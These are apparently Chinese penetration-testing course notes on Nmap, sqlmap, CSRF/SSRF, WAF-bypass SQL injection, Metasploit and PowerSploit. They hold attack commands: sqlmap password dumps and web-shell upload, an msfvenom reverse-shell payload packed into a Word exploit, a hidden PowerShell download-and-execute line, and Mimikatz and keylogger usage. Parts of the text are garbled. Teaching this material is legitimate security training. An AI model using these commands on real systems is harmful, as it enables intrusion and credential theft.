web渗透a

Nmap

namp 192.168.1.1

namp -A -T4 -V 192.168.1.1

-A :开启操作系统识别和版本识别功能

-T :0-6档,设置扫描的快慢 0最慢,6最快;

//级别越高你,对网络宽带要求越高,另外扫描太快,容易被安全设备发现:一般选择T4

-v :显示信息的级别,-vv显示更详细的信息

IP 扫描单个目标

IP IP ……扫描多个目标

IP/24扫描C段 或者IP1-254

namp A-T4-v-iL'~/targets.txt -iL表示要扫描的目标位于一个文档中 targets.bet nampA-T4-v192.168.11/24-exclude 192.168.1100 192.168.1.3 192.168.5.4 –exclude 192.168.1.100表示排除在目标 3 4 192.168.6.1/24 nampA-T4-v192.168.1.1/24–excludefile ~/targets.txt 192.168.7.2-16 excludefile ~/targetstxt表示排除在外的目标含在一个文档中 namp 192.16811-80443 -p80443表示扫描特点端口,如果不用p指定端口,默认扫描1000个常用端口 namp –traceroute 192168.1.1 –traceroute探测路由

namp -O 192.168.1.1 -O 对目标进行指纹识别

namp -sV 192.168.1.1 -sV 对版本进行探测

namp -sF -T4 192.168.1.1 -sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。

状态 说明
open 应用程序在该端口接收 TCP 连接或者 UDP 报文
closed 关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听
filtered 由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙
unfiltered 未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态
open | filtered 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。

扫描脚本介绍:

位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts

脚本类型:

 

nmap –script=auth 192.168.137.* //负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap –script=brute 192.168.137.* //提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解

nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.* //默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。

nmap –script=vuln 192.168.137.* //检查是否存在常见漏洞

nmap -n -p445 –script=broadcast 192.168.137.4 //在局域网内探查更多服务开启状况

更多: NSEDoc Reference Portal: NSE Categories — Nmap Scripting Engine documentation nmap脚本(nse)使用总结_whatday的博客-CSDN博客_nmap脚本使用

Burp Suite

  1. Burpsuite使用前配置

  2. Burpsuite配置及代理设置

1. Burpsuite配置及代理设置

  1. Burpsuite Proxy模块

  2. 1.1 这些模块都有什么用呢?

2. Burpsuit功能模块讲解

1.2 Proxy模块HTTP history选项卡

1.2 Proxy模块OPTION选项卡

1.2.1 Proxy模块导入证书代理HTTPS流量

1.2 User option模块 解决HTTP返回信息中的乱码问题

1.3 Scaner模块

1.4 Intruder模块

1.4 Intruder模块爆破模式选择

Burpsuit功能模块讲解 Repeater模块

Burpsuit功能模块讲解 Decoder模块

sqlmap讲解

1. Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap安装

(1)安装sqlmap前,需要先安装 Python3.X

下载地址:Python Releases for Windows | Python.org

(2)在环境变量path中,增加python3.x安装路径

3)下载sqlmap并解压缩:

地址:sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py –u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助

sqlmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入) uError-based SQL injection(报错型注入) uBoolean-based blind SQL injection(布尔型注入) uTime-based blind SQL injection(基于时间延迟注入) uStacked queries SQL injection(可多语句查询注入)

2. Sqlmap常用参数

-u /–url 最基本格式 sqlmap -u “http://www.target.com/index.php?id=1” • -m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt • -r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ……

–dbs 返回当前连接的数据库 –current-db 返回当前网站数据库的数据库用户 -D 指定数据库系统的数据库名 –tables 列举数据库表 -T 指定数据库表名 –columns 列举数据库表中的字段 -C 指定数据库表中的字段名 –dump 获取整个表的数据

设置回显等级 参数:-v 默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认等级) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同事显示HTTP响应页面。

设置HTTP数据包相关参数 参数:–data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" –data="id=1" 参数:–cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到–cookie参数中。

设置HTTP数据包相关参数 HTTP User-Agent 头 参数:–random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。 sqlmap -u “Target : Expect More. Pay Less.” –level 3 –andom-agent –dbs sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

设定探测等级 –level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。 level>=2的时候就会测试HTTP Cookie。 level>=3的时候就会测试HTTP User-Agent/Referer头。 level=5 的时候会测试HTTP Host。

–users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。 –current-user 在大多数据库中可以获取到管理数据的用户。 –is-dba 判断当前的用户是否为管理,是的话会返回True。 –proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080 –os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。

3. 简单注入流程

sqlmap“六步”

第一步:判断是否是注入点

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"

第二步:获取数据库

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" –dbs

第三步:查看当前应用程序所用数据库

qlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" –current-db

第四步:列出指定数据库的所有表

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" –tables

第五步:读取指定表中的字段名称

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users –colunms

第六步:读取指定字段内容

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users -C username,password –dump

Sqlmap进阶

–level 探测等级

一共有5个等级,默认是1。 sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。 http cookie在2级时可以检测 HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" –is-dba

–roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" –roles

–referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如–referer https://mp.mysite.net

–sql-shell 运行自定义的sql语句

qlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" –sql-shell

–os-cmd,–os-shell 运行任意操作系统命令

选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" –os-cmd=whoami

–file-read 从数据库服务器中读取文件

该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

–file-write –file-dest 上传文件到数据库服务器中

该命令用于写入本地文件到服务器中。

Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1 –file-write ‘c:\user\cisp-pte\desktop\xie1.php’ –file-dest ‘c:\phpstudy\www\wwwroot\xie.php’

读取指定数据库用户的密码

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" –passwords -U root

-常用tamper脚本

apostrophemask.py

适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

multiplespaces.py

适用数据库:ALL 作用:围绕sql关键字添加多个空格 使用脚本前:tamper('1 UNION SELECT foobar') 使用脚本后:1 UNION SELECT foobar

csrf漏洞讲解

csrf漏洞介绍

CSRF (Cross–site request forgery,跨站请求伪造))也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装成受信任用户请求受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比 XSS 更具危险性。

CSRF漏洞原理

其实可以这样理解 CSRF:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF 能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。 举个例子,你想给某位用户转账 100 元,那么单击“转账”按钮后,发出的 HTTP 请求会与http:/www.xxbank..com/pay.php?user=xx&money=100类似。而攻击者构造链接 (http:/www.xxbank.com/pay.php?user=hack&money=100),当目标用户访问了该 URL 后,就会自动向 Hack 账号转账 100 元,而且这只涉及目标用户的操作,攻击者并没有获取目标用户的 cookie 或其他信息。 CSRF 的攻击过程有以下两个重点。·目标用户已经登录了网站,能够执行网站的功能。 ·目标用户访问了攻击者构造的 URL。

csrf漏洞靶场实战

漏洞描述:   CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

  

csrf漏洞代码

漏洞代码分析

下面的代码是后台添加用户的代码,执行的流程如下所示: 获取 GET 参数 username 和参数 oassword,然后通过 selecti 语句查询是否存在对应的用户,如果用户存在,会通过$SESSION 设置一个 session: isadmin=admin,否则设置 session: isadmin=guest。 接下来判断 session 中的 isadmin 是否为 admin,如果 isadmin! =admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。 获取 POST 参数 username 和参数 oassword,然后插入 users 表中,完成添加用户的操作。

当管理员访问了攻击者构造的 CSRF 页面后,会自动创建一个账号,CSRF 利用代码如下。 此代码的作用是创建一个 AJAX 请求,请求的 URL 是 http: /Xx.com/csrf.php,参数是 submit=:1&username: =1&password=1, 从上述 PHP 代码中可以看到,此 AJAX 请求就是执行一个添加用户的操作,由于管理员已登录,所以管理员访问链接后就会创建一个新用户。

修复建议

1、验证请求的Referer是否来自本网站,但可被绕过。

2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确则丢弃拒绝服务。

针对 CSRF 漏洞的修复,笔者给出以下这两点建议。 验证请求的 Refererf 值,如果 Referer 是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果 Referer 是其他网站域名或空白,就有可能是 CSRF 攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。 CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端验证 token,如果请求中没有 token 或者 token 的内容不正确,则认为该请求可能是 CSRF 攻击从而拒绝该请求

ssrf漏洞讲解

ssrf漏洞介绍

SSRF (Server–Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。

ssrf漏洞原理

SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。 主要攻击方式如下所示。 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 panner 信息。 攻击运行在内网或本地的应用程序。 对内网 Wb 应用进行指纹识别,识别企业内部的资产信息。 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。 利用 file 协议读取本地文件等。

ssrf漏洞利用

SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。 页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。 如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容,如图所示。

但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务,如图 4-103 所示。

访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件,如图所示。

ssrf漏洞代码分析

在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务,代码如下。

修复建议

针对 SSRF 漏洞的修复,给出以下这几点建议。

限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。

限制不能访问内网的IP,以防止对内网进行攻击。

屏蔽返回的详细信息。

WAF介绍和绕过

WAF介绍和分类

WAF介绍

什么是WAF? WEB应用防火墙 (Web Application Firewall)

定义:通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

WAF的分类

硬件WAF

软件WAF

云WAF

内置WAF

WAF工作原理

WAF检测规则

WAF指纹识别(常用)

WAF指纹识别

WAF绕过方法

本小节主要介绍 SQL 注入漏洞的绕过方法,其余漏洞的 WAF 绕过方法在原理上是差不多的。

  1. 大小写混合 在规则匹配时只针对了特定大写或特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这样的情况),如下所示。 uNion sElEct 1,2,3,4,5 2.URL编码 极少部分的 WAF 不会对普通字符进行 URL 解码,如下所示。union select 1,2,3,4,5 上述命令将被编码为如下所示的命令。 %75%6E%69%6F%6E%20%73%65%6℃%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%35 还有一种情况就是 URL 二次编码,WAF 一般只进行一次解码,而如果目标 Wb 系统的代码中进行了额外的 URL 解码,即可进行绕过。

  2. union select 1,2,3,4,5 上述命令将被编码为如下所示的命令。 %2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535

  3. 替换关键字

WAF采用替换或者删除select/union这类敏感关键饲的时候,如果只匹配次则很容易进行绕过。
union select 1,2,3,4,5
上述命令将转换为如下所示的命令。
unuionion selselectect 1,2,3,4,5
  1. 使用注释

注释在截断 SQL 语句中用得比较多,在绕过 WAF 时主要使用其替代空格(/*任意内容*),适用于检测过程中没有识别注释或替换掉了注释的 WAF。
Union select 1,2,3,4,5
上述命令将转换为如下所示的命令。
union/*2333*/select/*aaaa*/1,2,3,4,5
还可以使用内联注释尝试绕过 WAF 的检测。
5. 多参数请求拆分对于多个参数拼接到同一条$QL 语句中的情况,可以将注入语句分割插入。例如请求 URL 时,GET 参数为如下格式。a= [input1] &b= [input2]将 GET 的参数 a 和参数 b 拼接到 SQL 语句中,SQL 语句如下所示。
6. and a= [input1] and b= [input2] 这时就可以将注入语句进行拆分,如下所示。a=union/*&b=*/select 1,2,3,4最终将参数 a 和参数 b 拼接,得到的 SQL 语句如下所示。and a=union /*and b=*/select 1,2,3,4 6.HTTP 参数污染HTTP 参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数 color=-red&color=-blue 为例)在上述提到的中间线中,川 S 比较容易利用,可以直接分割带逗号的 SQL 语句。在其余的中间线中,如果 WF 只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与 WAF 相反的参数,则可成功绕过。下面以 IS 为例,一般的 SQL 注入语句如下所示。Inject=union select 1,2,3,4
7. 将 SQL 注入语句转换为以下格式。Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4最终在IIS中读入的参数值将如下所示。Inject=union/*,*/select/*,*/1,2,3,4 7. 生僻函数使用生僻函数替代常见的函数,例如在报错注入中使用卵 oy9on()函数替换常用的 updatexml()函数,如下所示。SELECT polygon  ((select*from  (select*from  (select@@version) f) X));8. 寻找网站源站IP对于具有云WAF防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云 WAF 的检测。常见的寻找网站IP的方法有下面这几种。寻找网站的历史解析记录。多个不同区域 ping 网站,查看 lP 解析的结果。找网站的二级域名、NS、MX 记录等对应的IP。订阅网站邮件,查看邮件发送方的IP。9. 注入参数到 cookies中某些程序员在代码中使用$REQUEST获取参数,而$REQUEST会依次从GET/POST/cookie中获取参数,如果WAF 只检测了GET/POST 而没有检测 cookie,可以将注入语句放入cookie中进行绕过。

Metasploit漏洞利用

1、MS17-010

1、首先使用漏洞探测工具探测存在漏洞的机器

发现存在该漏洞的机器

设置攻击模块

获得权限

'

2、CVE-2017-11882

使用msf生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx.xxx LPORT=xxxx -o ./payload.c 使用python脚本生成word CVE-2017-11882.py -c payload.c -t 0 -i 1 -o test.doc

Msf启动监听

运行word

获得权限

1.PowerShell简介

PowerShell技术

对于渗透,使用PowerShell场景:

第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令

第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入

常用的PowerShell攻击工具:

PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。 Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。 Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。 PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

PowerShell简介

PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。

PowerShell优点

基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中,不需要写入磁盘 cmd.exe通常会被安全软件阻止,一般PowerShell不会

启动PowerShell

第一种 win+r启动运行下输入powershell进入

第二种 cmd下输入powershell进入

PowerShell版本

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。

PS1文件:

一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

2.PowerShell基本概念

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。 我们可以使用: Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。 Restricted:脚本不能运行(默认设置) RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外) AllSigned:仅当脚本由受信任的发布者签名时才能运行; Unrestricted:允许所有的脚本执行 另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

运行脚本:

运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1 但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如: 假设停止所有目前运行中的,以“note"字符开头命名的程序 Get-Process note*|stop-process

3.PowerShell常用命令

基本知识:

在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。

后面会以文件操作为例讲解PowerShell命令的基本用法

文件操作类的PowerShell命令:

新建目录test:New-Item test -ItemType directory 删除目录test:Remove-Item test 新建文件test.txt:New-Item test1.txt -ItemType file 新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello" 查看文件test.txt内容:Get-Content test.txt 设置文件test.txt内容t:Set-Content test.txt -Value "haha" 给文件test.txt追加内容:Add-Content test.txt -Value ",word!" 清除文件test.txt内容:Clear-Content test.txt 删除文件test.txt:Remove-Item test.txt

绕过执行策略执行PowerShell脚本

如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop test.ps1

输入命令执行后会退出命令提示符

用IEX下载远程PS1脚本绕过权限执行

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

PowerShell命令参数说明

对上述命令参数进行说明 ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则; WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏; -command(-c):执行powershell脚本; NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件; NoLogo:启动不显示版权标志的PowerShell; Nonlnteractive(-noni):非交互模式; Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要; -enc base64: 把ps脚本编码成base64来执行,实战用的最多;

1.PowerSploit安装

PowerSploit简介

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

ActivirusBypass:绕过杀毒软件查杀 CodeExecution:在目标主机上执行代码 Exfiltration:目标主机上的信息搜集工具 Mayhem:蓝屏等破坏性的脚本 Persistence:权限维持 Privsec:提权等脚本 Recon:以目标主机为跳板进行内网信息侦查 ScriptModification:在目标主机上创建或修改脚本

下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。

这里以kali服务器为例,介绍两种方式 第一种方式: 开启apache服务:service apache2 start 将powersploit目录放到/var/www/html/中

第二种方式: 切换到powersploit目录,然后执行如下命令开启WEB服务器 python3 -m http.server 8080 Git clone https://github.com/PowerShellMafia/PowerSploit

在浏览器中打开WEB服务器地址,如下图所示

2.PowerSploit脚本攻击实战

PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。

利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。

为方便,这里我们直接在目标服务器做这些操作

Invoke-Shellcode脚本

CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。 直接执行ShellCode反弹Meterpreter Shell 首先在MSF里使用reverse_https模块进行监听

使用msfvenom命令生成一个PowerShell脚本木马

‘接着在目标机Powershell下输入以下命令下载该脚本

接着输入以下命令下载木马

接着在PowerShell下运行该命令

-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。

Invoke-Portscan扫描端口

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。 首先下载脚本

然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可 以看到,扫描出该IP机器开放了80,22,4444端口

Invoke-Mimikatz 信息收集

Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。

然后载入脚本

Invoke-Mimikatz 信息收集

载入脚本

然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321

Get-Keystrokes 键盘记录器

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间 首先下载脚本

然后执行以下命令开启键盘记录

Get-Keystrokes 键盘记录器

使用键盘输入一些内容 查看c:\windows\temp\key.txt中记录的内容

Get-TimedScreenshot 屏幕记录

Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本 首先下载脚本

运行脚本

注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹下

3.PowerUp攻击模块讲解

Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。

通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载

在源码中搜索function,看PowerUP有哪些模块

如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如 Get-Help Invoke-AllChecks -full

下面开始对模块介绍: 1.Invoke-AllChecks

执行所有的脚本来检查。

执行方式: PS C:> Invoke-AllChecks

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式: PS C:>Find-Pathdllhijack

  1. Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式: PS C:>get-ApplicationHost PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

  1. Get-RegistryAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。

执行方式: PS C:>Get-RegistryAlwaysInstallElevated

  1. Get-RegistryAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。

执行方式: PS C:> Get-RegistryAutoLogon

  1. Get-ServiceDetail

返回某服务的信息。

执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

  1. Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

执行方式: C:> Get-ServiceFilePermission

  1. Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。

执行方式: PS C:>Test-ServiceDaclPermission

  1. Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe

执行方式: PS C:>Get-ServiceUnquoted

  1. Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括: c:\sysprep\sysprep.xml c:\sysprep\sysprep.inf c:sysprep.inf c:\windows\Panther\Unattended.xml c:\windows\Panther\UnattendUnattended.xml c:\windows\Panther\Unattend.xml c:\windows\Panther\UnattendUnattend.xml c:\windows\S\ystem32\Sysprep\unattend.xml c:\windows\System32\Sysprep\Panther\unattend.xml 执行方式:PS C:> Get-UnattendedInstallFile

  1. Get-ModifiableRegistryAutoRun

